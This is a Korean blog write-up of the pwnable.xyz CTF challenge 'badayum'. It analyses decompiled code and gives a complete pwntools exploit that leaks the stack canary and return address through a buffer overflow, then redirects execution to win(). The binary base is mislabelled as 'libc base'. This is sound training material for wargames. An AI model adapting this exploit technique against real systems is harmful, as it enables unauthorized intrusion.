tmxklab
[Pwnable.xyz] badayum 본문
1. 문제
nc svc.pwnable.xyz 30027
1) mitigation 확인
2) 문제 확인
- 계속 입력을 받을 수 있고 score가 계속 깎이고 있다.
3) 코드흐름 파악
3-1) main()
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
init_func();
puts("Yolo yada yada - Play with me!");
puts("===========================================");
start_main();
return 0LL;
}
3-2) start_main()
unsigned __int64 start_main()
{
size_t v0; // rax
size_t v2; // rax
char *s1; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v5; // [rsp+78h] [rbp-8h]
v5 = __readfsqword(0x28u);
while ( 1 )
{
s1 = sub_D48();
memset(&s, 0, 0x64uLL);
printf("Your score: %d\n", score);
printf("me > %s\n", s1);
printf("you > ");
v0 = strlen(s1);
read(0, &s, v0 + 1);
if ( !strncmp(&s, "exit", 4uLL) )
break;
v2 = strlen(s1);
if ( !strncmp(s1, &s, v2) )
{
printf("You said: %s", &s);
puts("Yay, you're good at this, let's go on :)\n");
++score;
}
else
{
printf("You said: %s", &s);
puts("I don't think you understood how this game works :(\n");
--score;
}
free(s1);
}
free(s1);
puts("Ya go away, I don't want to play with you anymore anyways :P\n");
return __readfsqword(0x28u) ^ v5;
}
- SUB_D48()의 리턴 값으로 s1에 저장한다.
- score(전역변수)를 출력하고 read(0, s, strlen(s1)+1)을 호출한다.
- s1과 s의 문자열이 같으면 s값 출력하고 score 증가
- 같지 않아도 s값 출력하고 그대신 score감소
2. 접근방법
start_main()에서 sub_D48()의 반환 값을 s1에 저장하고 read(0, s, strlen(s1)+1)을 통해 s변수[rbp-0x70]에 입력 값을 저장하고 출력하는 것 같다. 그리고 디버깅한 결과 sub_D48()의 반환 값은 랜덤한 값을 준다.
- 입력할 수 있는 size가 계속 변한다.(size는 "dada-..." 이렇게 출력되는 문자열의 길이에 1을 더한 값이다.)
- buf[rbp-0x70]에 입력 값이 들어가며 0x77, 0x78byte까지 입력 값을 받는 것을 통해 bof가 가능하다.
[rbp-0x8]에 canary가 존재하므로 canary부터 릭하여 카나리 값을 구하고 ret인 [rbp+0x8]부분에 메인 함수의 주소 값이 저장되어 있으니깐 libc base주소를 구할 수 있다.
- [rbp+0x8]에는 다시 돌아갈 주소 즉, main함수의 0x1081(offset임)주소 값이 저장되어 있다.
공격 프로세스)
- canary를 릭하여 canary값을 구한다.
- strat_main()의 ret값을 릭하여 libc base주소를 구한다.
- libc base주소를 통해 win()의 주소 값을 구하여 start_main()의 ret에 win()를 넣는다.
3. 풀이
1) 익스코드
from pwn import *
context.log_level = "debug"
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30027)
#gdb.attach(p)
# 1. leak canary
while True:
p.recvuntil("me > ")
data = p.recvuntil("you")
length = len(data)-3
log.info("length : "+str(length))
if length >= 0x70:
p.sendafter("> ", "A"*0x67+"BB")
break
else:
p.sendafter("> ", "A")
p.recvuntil("B")
canary = u64(p.recv(8))-0x42
log.info("canary : "+hex(canary))
# 2. leak ret
while True:
p.recvuntil("me > ")
data = p.recvuntil("you")
length = len(data)-3
log.info("length : "+str(length))
if length >= 0x78:
p.sendafter("> ", "A"*0x77+"B")
break
else:
p.sendafter("> ", "A")
p.recvuntil("B")
main_addr = u64(p.recv(6).ljust(8, '\x00'))
main_addr -= 0x36
main_offset = 0x104b
win_offset = 0xd30
libc_base = main_addr - main_offset
win_addr = libc_base + win_offset
log.info("main addr : "+hex(main_addr))
log.info("win addr : "+hex(win_addr))
log.info("libc_base : "+hex(libc_base))
payload = "A"*0x68
payload += p64(canary)
payload += "A"*0x8
payload += p64(win_addr)
# 3. RTL
while True:
p.recvuntil("me > ")
data = p.recvuntil("you")
length = len(data)-3
log.info("length : "+str(length))
if length >= 0x80:
p.sendafter("> ", payload)
break
else:
p.sendafter("> ", "A")
p.sendafter("you > ", "exit")
p.interactive()
2) 실행결과
4. 몰랐던 개념
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] note v2 (0) | 2020.09.09 |
---|---|
[Pwnable.xyz] executioner v2 (0) | 2020.09.09 |
[Pwnable.xyz] password (0) | 2020.09.09 |
[Pwnable.xyz] executioner (0) | 2020.09.09 |
[Pwnable.xyz] punch it (0) | 2020.09.09 |
Comments